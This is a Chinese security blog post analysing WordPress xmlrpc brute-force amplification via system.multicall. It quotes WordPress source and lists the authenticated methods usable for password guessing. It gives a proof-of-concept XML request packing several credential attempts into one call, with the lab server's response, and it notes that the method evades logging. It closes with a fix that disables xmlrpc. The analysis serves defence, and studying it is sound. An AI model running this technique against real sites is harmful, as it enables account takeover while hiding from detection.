By: RickGray (知道創宇404安全實驗室)
xmlrpc 是 WordPress 中進行遠程調用的接口,而使用 xmlrpc 調用接口進行賬號爆破在很早之前就被提出并加以利用。近日 SUCURI 發布文章介紹了如何利用 xmlrpc 調用接口中的 system.multicall
來提高爆破效率,使得成千上萬次的帳號密碼組合嘗試能在一次請求完成,極大的壓縮請求次數,在一定程度上能夠躲避日志的檢測。
WordPress 中關于 xmlrpc 服務的定義代碼主要位于 wp-includes/class-IXR.php
和 wp-includes/class-wp-xmlrpc-server.php
中。基類 IXR_Server 中定義了三個內置的調用方法,分別為 system.getCapabilities
,system.listMethods
和 system.multicall
,其調用映射位于 IXR_Server
基類定義中:
#!php
function setCallbacks()
{
$this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
$this->callbacks['system.listMethods'] = 'this:listMethods';
$this->callbacks['system.multicall'] = 'this:multiCall';
}
而基類在初始化時,調用 setCallbacks() 綁定了調用映射關系:
#!php
function __construct( $callbacks = false, $data = false, $wait = false )
{
$this->setCapabilities();
if ($callbacks) {
$this->callbacks = $callbacks;
}
$this->setCallbacks(); // 綁定默認的三個基本調用映射
if (!$wait) {
$this->serve($data);
}
}
再來看看 system.multicall
對應的處理函數:
#!php
function multiCall($methodcalls)
{
// See http://www.xmlrpc.com/discuss/msgReader$1208
$return = array();
foreach ($methodcalls as $call) {
$method = $call['methodName'];
$params = $call['params'];
if ($method == 'system.multicall') {
$result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
} else {
$result = $this->call($method, $params);
}
if (is_a($result, 'IXR_Error')) {
$return[] = array(
'faultCode' => $result->code,
'faultString' => $result->message
);
} else {
$return[] = array($result);
}
}
return $return;
}
可以從代碼中看出,程序會解析請求傳遞的 XML,遍歷多重調用中的每一個接口調用請求,并會將最終有調用的結果合在一起返回給請求端。
這樣一來,就可以將500種甚至是10000種帳號密碼爆破嘗試包含在一次請求中,服務端會很快處理完并返回結果,這樣極大地提高了爆破的效率,利用多重調用接口壓縮了請求次數,10000種帳號密碼嘗試只會在目標服務器上留下一條訪問日志,一定程度上躲避了日志的安全檢測。
通過閱讀 WordPress 中 xmlrpc 相關處理的代碼,能大量的 xmlrpc 調用都驗證了用戶名和密碼:
#!php
if ( !$user = $this->login($username, $password) )
return $this->error;
通過搜索上述登錄驗證代碼可以得到所有能夠用來進行爆破的調用方法列表如下:
wp.getUsersBlogs, wp.newPost, wp.editPost, wp.deletePost, wp.getPost, wp.getPosts, wp.newTerm, wp.editTerm, wp.deleteTerm, wp.getTerm, wp.getTerms, wp.getTaxonomy, wp.getTaxonomies, wp.getUser, wp.getUsers, wp.getProfile, wp.editProfile, wp.getPage, wp.getPages, wp.newPage, wp.deletePage, wp.editPage, wp.getPageList, wp.getAuthors, wp.getTags, wp.newCategory, wp.deleteCategory, wp.suggestCategories, wp.getComment, wp.getComments, wp.deleteComment, wp.editComment, wp.newComment, wp.getCommentStatusList, wp.getCommentCount, wp.getPostStatusList, wp.getPageStatusList, wp.getPageTemplates, wp.getOptions, wp.setOptions, wp.getMediaItem, wp.getMediaLibrary, wp.getPostFormats, wp.getPostType, wp.getPostTypes, wp.getRevisions, wp.restoreRevision, blogger.getUsersBlogs, blogger.getUserInfo, blogger.getPost, blogger.getRecentPosts, blogger.newPost, blogger.editPost, blogger.deletePost, mw.newPost, mw.editPost, mw.getPost, mw.getRecentPosts, mw.getCategories, mw.newMediaObject, mt.getRecentPostTitles, mt.getPostCategories, mt.setPostCategories
這里是用參數傳遞最少獲取信息最直接的 wp.getUsersBlogs
進行測試,將兩次帳號密碼嘗試包含在同一次請求里,構造 XML 請求內容為:
#!xml
<methodCall>
<methodName>system.multicall</methodName>
<params><param>
<value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>admin888</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>guest</string></value>
<value><string>test</string></value>
</data></array></value></member>
</struct></value>
</data></array></value>
</param></params>
</methodCall>
將上面包含兩個子調用的 XML 請求發送至 xmlrpc 服務端入口,若目標開啟了 xmlrpc 服務會返回類似如下的信息:
#!xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><array><data>
<value><array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>WordPress 4.3.1</string></value></member>
<member><name>xmlrpc</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>用戶名或密碼不正確。</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
從結果中可以看到在同一次請求里面處理了兩種帳號密碼組合,并以集中形式將結果返回,通過該種方式可以極大地提高帳號爆破效率。
最新版 WordPress(4.3.1) 中仍存在該問題。多重調用(multicall)屬于 xmlrpc 的標準,為了防止攻擊者利用此點對網站發起爆破攻擊,給出以下防護建議:
add_filter('xmlrpc_enabled', '__return_false');
至 WordPress 配置文件 wp-config.php
;原文出處:http://blog.knownsec.com/2015/10/wordpress-xmlrpc-brute-force-amplification-attack-analysis/